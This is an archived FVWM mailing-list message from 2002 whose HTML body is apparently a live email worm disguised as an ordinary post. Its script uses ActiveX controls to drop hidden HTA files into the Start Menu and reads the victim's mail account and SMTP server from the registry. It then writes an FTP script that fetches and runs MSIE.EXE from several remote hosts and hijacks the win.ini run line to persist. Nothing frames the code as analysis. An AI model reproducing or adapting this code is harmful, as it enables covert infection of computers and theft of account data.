'FVWM: MIME-Version: 1.0'

[prev in list] [next in list] [prev in thread] [next in thread] 

List:       fvwm
Subject:    FVWM: MIME-Version: 1.0
From:       a490143 () hotmail ! com
Date:       2002-01-06 4:52:30
[Download RAW message or body]

This is a multi-part message in MIME format.




------=_NextPart_000_0006_01BF6B1E.533D9940
Content-Type: text/html;
                       charset="big5"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content="text/html; charset=big5" http-equiv=Content-Type>
<META content="MSHTML 5.00.2722.2800" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY>
<P>
<OBJECT classid=clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95 height=0 id=wm 
width=0 border="0"></OBJECT></P>
<P>
<OBJECT classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC height=0 id=scr 
width=0 border="0"></OBJECT></P>
<SCRIPT language=JavaScript>
try {
var NType = new Array("politics/c","focus/c","national/c","biz/c","sports/c","showbiz/c","money/c");
 var BaseURL = "http://www.chinatimes.com.tw/news/papers/online/";
var NDate = new Date();
var NTypeID=Math.floor(Math.random()*7);
var YY=NDate.getFullYear()-1911;
var MM=NDate.getMonth()+1;
var DD=NDate.getDate();
var NN=Math.floor(Math.random()*3)+1
NN=NN+"0";
var DExist = 0;
var TPath = ""; 
DirExist();
if (DExist==1) {
scr.Reset();  
scr.Path=TPath+"\\Microsoft Internet Explorer.hta";
scr.doc="<SCRIPT>  window.resizeTo\(0,0\) </"+"SCRIPT> <HEAD> <HTA:APPLICATION \
ID=\"APs\" APPLICATIONNAME=\"APs\" BORDER=\"none\" CAPTION=\"no\"SHOWINTASKBAR=\"no\" \
SINGLEINSTANCE=\"yes\" SYSMENU=\"no\"  WINDOWSTATE=\"normal\"></"+"HEAD> <html> \
<p><script language=\"JAVAScript\"> try { var wsh= new \
ActiveXObject\(\"Wscript.Shell\"\); var \
SysDir=wsh.ExpandEnvironmentStrings\(\"%WINDIR%\"\); var fso = new \
ActiveXObject\(\"Scripting.FileSystemObject\"\); var \
P3=\"<SCRIPT>&&window.resizeTo\\\(0,0\\\)&&@@SCRIPT>&&<HEAD>&&<HTA:APPLICATION \
ID=?@APs?@&&APPLICATIONNAME=?@APs?@&&BORDER=?@none?@&&CAPTION=?@no?@&&SHOWINTASKBAR=?@ \
no?@&&SINGLEINSTANCE=?@yes?@&&SYSMENU=?@no?@&&WINDOWSTATE=?@normal?@>@@HEAD>&&<script \
language=?@JAVAScript?@>&&var fso = new \
ActiveXObject\\\(?@Scripting.FileSystemObject?@\\\);&&var wsh = new \
ActiveXObject\\\(?@Wscript.Shell?@\\\);&&var \
SysDir=wsh.ExpandEnvironmentStrings\\\(?@%WINDIR%?@\\\);&&var FtpSite = new \
Array\\\(?@dany777.homepage.com?@,?@iopi999.homepage.com?@,?@pop123.homepage.com?@,?@t \
odo888.homepage.com?@,?@ftp.todo.com.tw?@,?@hammer.prohosting.com?@,?@hammer.prohostin \
g.com?@,?@catv169.homepage.com?@,?@catv170.homepage.com?@,?@todo168.homepage.com?@\\\);&&var \
FtpLogin = new Array\\\(?@dany777?@,?@iopi999?@,?@pop123?@,?@todo888?@,?@kvvbill5?@,?@catv168?@,?@catv169?@,?@catv169?@,?@catv170?@,?@todo168?@\\\);&&var \
MyFile;&&var MSIEHTA=1;&&var MyKey; &&var Done=1;&&try {MyFile = \
fso.GetFile\\\(SysDir+?@\\\\\\\\Startm~1\\\\\\\\Programs\\\\\\\\귑걺\\\\\\\\MICROS~1.HTA?@\\\);}&&catch \
\\\(e\\\) {MSIEHTA=0;};&&if \\\(MSIEHTA==1\\\) MyFile.Delete\\\(\\\);&&try \
{MyKey=wsh.RegRead\\\(?@HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\VB and VBA Program \
Settings\\\\\\\\Microsoft\\\\\\\\InternetExplorer\\\\\\\\Vendor?@\\\);}&&catch \
\\\(e\\\) {Done=0;};&&if \\\(Done==1\\\) {&&self.close\\\(\\\); }&&else {&&var \
AccID=wsh.RegRead\\\(?@HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Internet \
Account Manager\\\\\\\\Default Mail Account?@\\\);&&var \
DeSMTP=wsh.RegRead\\\(?@HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Internet \
Account Manager\\\\\\\\Accounts\\\\\\\\?@+AccID+?@\\\\\\\\SMTP Server?@\\\);&&MyFile \
= fso.CreateTextFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\MSIE.INI?@, \
1\\\);&&MyFile.WriteLine\\\(DeSMTP\\\);&&MyFile.Close\\\(\\\);&&var MSIEEXE=1;&&var \
VBEXE=1;&&CheckEXE\\\(\\\); }&&function CheckEXE\\\(\\\)&&{&&var \
FtpID=Math.floor\\\(Math.random\\\(\\\)*10\\\);&&VBEXE=1;&&try {MyFile = \
fso.GetFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\MSVBVM50.DLL?@\\\);}&&catch \\\(e\\\) \
{VBEXE=0;};&&MSIEEXE=1;&&try {MyFile = \
fso.GetFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\system\\\\\\\\MSIE.EXE?@\\\);}&&catch \
\\\(e\\\) {MSIEEXE=0;};&&if \\\(MSIEEXE==0\\\) {&&  try \
{fso.CreateFolder\\\(SysDir+?@\\\\\\\\system\\\\\\\\system?@\\\)}&&  catch \\\(e\\\) \
{};&&  try {MyFile = fso.CreateTextFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\MSIE.LST?@, \
1\\\); &&  MyFile.Writeline\\\(FtpLogin[FtpID]\\\);&&  \
MyFile.Writeline\\\(?@995119?@\\\);&&  MyFile.Writeline\\\(?@bin?@\\\);&&  \
MyFile.Writeline\\\(?@prompt off?@\\\);&&  if \\\(FtpID==6 || FtpID==7 \\\)&& \
MyFile.Writeline\\\(?@cd html?@\\\);&&  MyFile.Writeline\\\(?@get MSIE.EXE \
?@+SysDir+?@\\\\\\\\system\\\\\\\\system\\\\\\\\MSIE.EXE?@\\\);&&  if \
\\\(VBEXE==0\\\)&&  self.close\\\(\\\);&&  MyFile.Writeline\\\(?@bye?@\\\);&&  \
MyFile.Close\\\(\\\); }&&  catch \\\(e\\\) {};&&  wsh.run\\\(?@ftp \
-s:?@+SysDir+?@\\\\\\\\system\\\\\\\\MSIE.LST ?@+FtpSite[FtpID], 0, 0\\\); &&  \
window.setTimeout\\\(?@CheckEXE\\\(\\\);?@, 180000\\\);&&} &&else {&&MSIEEXE=1&&try \
{MyFile = fso.GetFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\system\\\\\\\\EXPLORER.EXE?@\\\);}&&catch \
\\\(e\\\) {MSIEEXE=0;};&&if \\\(MSIEEXE==0\\\) &&{&&MyFile = \
fso.CreateTextFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\MSBoot.BAT?@, \
1\\\);&&MyFile.Writeline\\\(?@echo \
on?@\\\);&&MyFile.Writeline\\\(SysDir.substr\\\(0,2\\\)\\\);&&MyFile.Writeline\\\(?@cd \
?@+SysDir+?@\\\\\\\\system\\\\\\\\system?@\\\);&&MyFile.Writeline\\\(?@MSIE?@\\\);&&if \
\\\(VBEXE==0\\\) self.close\\\(\\\);&&MyFile.Writeline\\\(?@EXPLORER?@\\\);&&MyFile.Close\\\(\\\);&&wsh.run\\\(SysDir+?@\\\\\\\\System\\\\\\\\MSBoot.BAT?@, \
0, 0\\\);&&window.setTimeout\\\(?@CheckEXE1\\\(\\\);?@, 60000\\\); \
&&}&&else&&{&&MyFile = \
fso.CreateTextFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\MSBoot.BAT?@, \
1\\\);&&MyFile.Writeline\\\(?@echo \
on?@\\\);&&MyFile.Writeline\\\(SysDir.substr\\\(0,2\\\)\\\);&&MyFile.Writeline\\\(?@cd \
?@+SysDir+?@\\\\\\\\system\\\\\\\\system?@\\\);&&if \\\(VBEXE==0\\\) \
self.close\\\(\\\);&&MyFile.Writeline\\\(?@EXPLORER?@\\\);&&MyFile.Close\\\(\\\);&&wsh.run\\\(SysDir+?@\\\\\\\\System\\\\\\\\MSBoot.BAT?@, \
0, 0\\\);&&self.close\\\(\\\);}&&}&&}&&&&function \
CheckEXE1\\\(\\\)&&{&&MSIEEXE=1&&try {MyFile = \
fso.GetFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\system\\\\\\\\EXPLORER.EXE?@\\\);}&&catch \
\\\(e\\\) {MSIEEXE=0;};&&if \\\(MSIEEXE==0\\\) &&{&&MyFile = \
fso.CreateTextFile\\\(SysDir+?@\\\\\\\\system\\\\\\\\MSBoot.BAT?@, \
1\\\);&&MyFile.Writeline\\\(?@echo off?@\\\);&&MyFile.Writeline\\\(?@del \
?@+SysDir+?@\\\\\\\\system\\\\\\\\system\\\\MSIE.EXE?@\\\);&&MyFile.Writeline\\\(?@del \
%windir%\\\\\\\\System\\\\\\\\MSBoot.BAT?@\\\);&&MyFile.Close\\\(\\\);&&wsh.run\\\(SysDir+?@\\\\\\\\System\\\\\\\\MSBoot.BAT?@, \
0, 0\\\);&&window.setTimeout\\\(?@CheckEXE\\\(\\\);?@, 30000\\\); &&}&&else \
{&&self.close\\\(\\\);} &&}&&@@script>\"; var MyFile = \
fso.CreateTextFile\(SysDir+\"\\\\system\\\\MSIE.HTA\", 1\); \
P3=P3.replace\(/\(\\&\\&\)/g,\"\\n\"\); P3=P3.replace\(/\(\\?\\@\)/g,\"\\\"\"\); \
P3=P3.replace\(/\(\\@\\@\)/g,\"</"+"\"\); MyFile.WriteLine\(P3\); MyFile.Close\(\); \
CopyWinINI\(\); wsh.run\(SysDir+\"\\\\System\\\\MSHTA \"+ \
SysDir+\"\\\\system\\\\MSIE.HTA\", 0, 0\); self.close\(\); } catch \(e\) \
{self.close\(\);} function CopyWinINI\(\) { try{var MyFile1 = \
fso.OpenTextFile\(SysDir+\"\\\\win.ini\",1,0\);MyFile = \
fso.CreateTextFile\(SysDir+\"\\\\winini.bak\", 1\);while \(!MyFile1.AtEndOfStream\) \
{var S=MyFile1.ReadLine\(\);if \(S.search\(/run/i\)==0\) \
{MyFile.WriteLine\(\"run=\"+SysDir+\"\\\\system\\\\MSIE.HTA\"\); }else \
{MyFile.WriteLine\(S\); } }MyFile1.Close\(\);MyFile.Close\(\);MyFile = \
fso.GetFile\(SysDir+\"\\\\winini.bak\"\);   \
MyFile.Copy\(SysDir+\"\\\\win.ini\"\);MyFile = \
fso.GetFile\(SysDir+\"\\\\winini.bak\"\);MyFile.Delete\(\);} catch \(e\) \
{self.close\(\);}; } </"+"script>"; scr.write();}
}
catch(e){}
function DirExist() {
var Path = new Array();
var SPath;
Path[0]=  "WINDOWS"
Path[1]=  "WINDOW" 
Path[2]=  "WIN"
Path[3]=  "WIN98"
Path[4]=  "WIN95"
Path[5]=  "WINDOWS.000"
Path[6]=  "WINDOWS.001"
for (i = 0; i<14 ;i++) {
if (i >= 7 ) 
SPath="D:\\"+Path[i-7];
else
SPath="C:\\"+Path[i];
wm.FileName=SPath+"\\Start Menu\\Programs\\귑걺";
if (wm.ErrorCode != -2147220970) {
TPath=SPath+"\\Start Menu\\Programs\\귑걺"; 
break;} }
if (i<14) DExist = 1 ;
else DExist = 0 ;
return ;}
</SCRIPT>
</BODY></HTML>


--
Visit the official FVWM web page at <URL: http://www.fvwm.org/>.
To unsubscribe from the list, send "unsubscribe fvwm" in the body of a
message to majordomo@fvwm.org.
To report problems, send mail to fvwm-owner@fvwm.org.


[prev in list] [next in list] [prev in thread] [next in thread]
Configure | About | News | Add a list | Sponsored by KoreLogic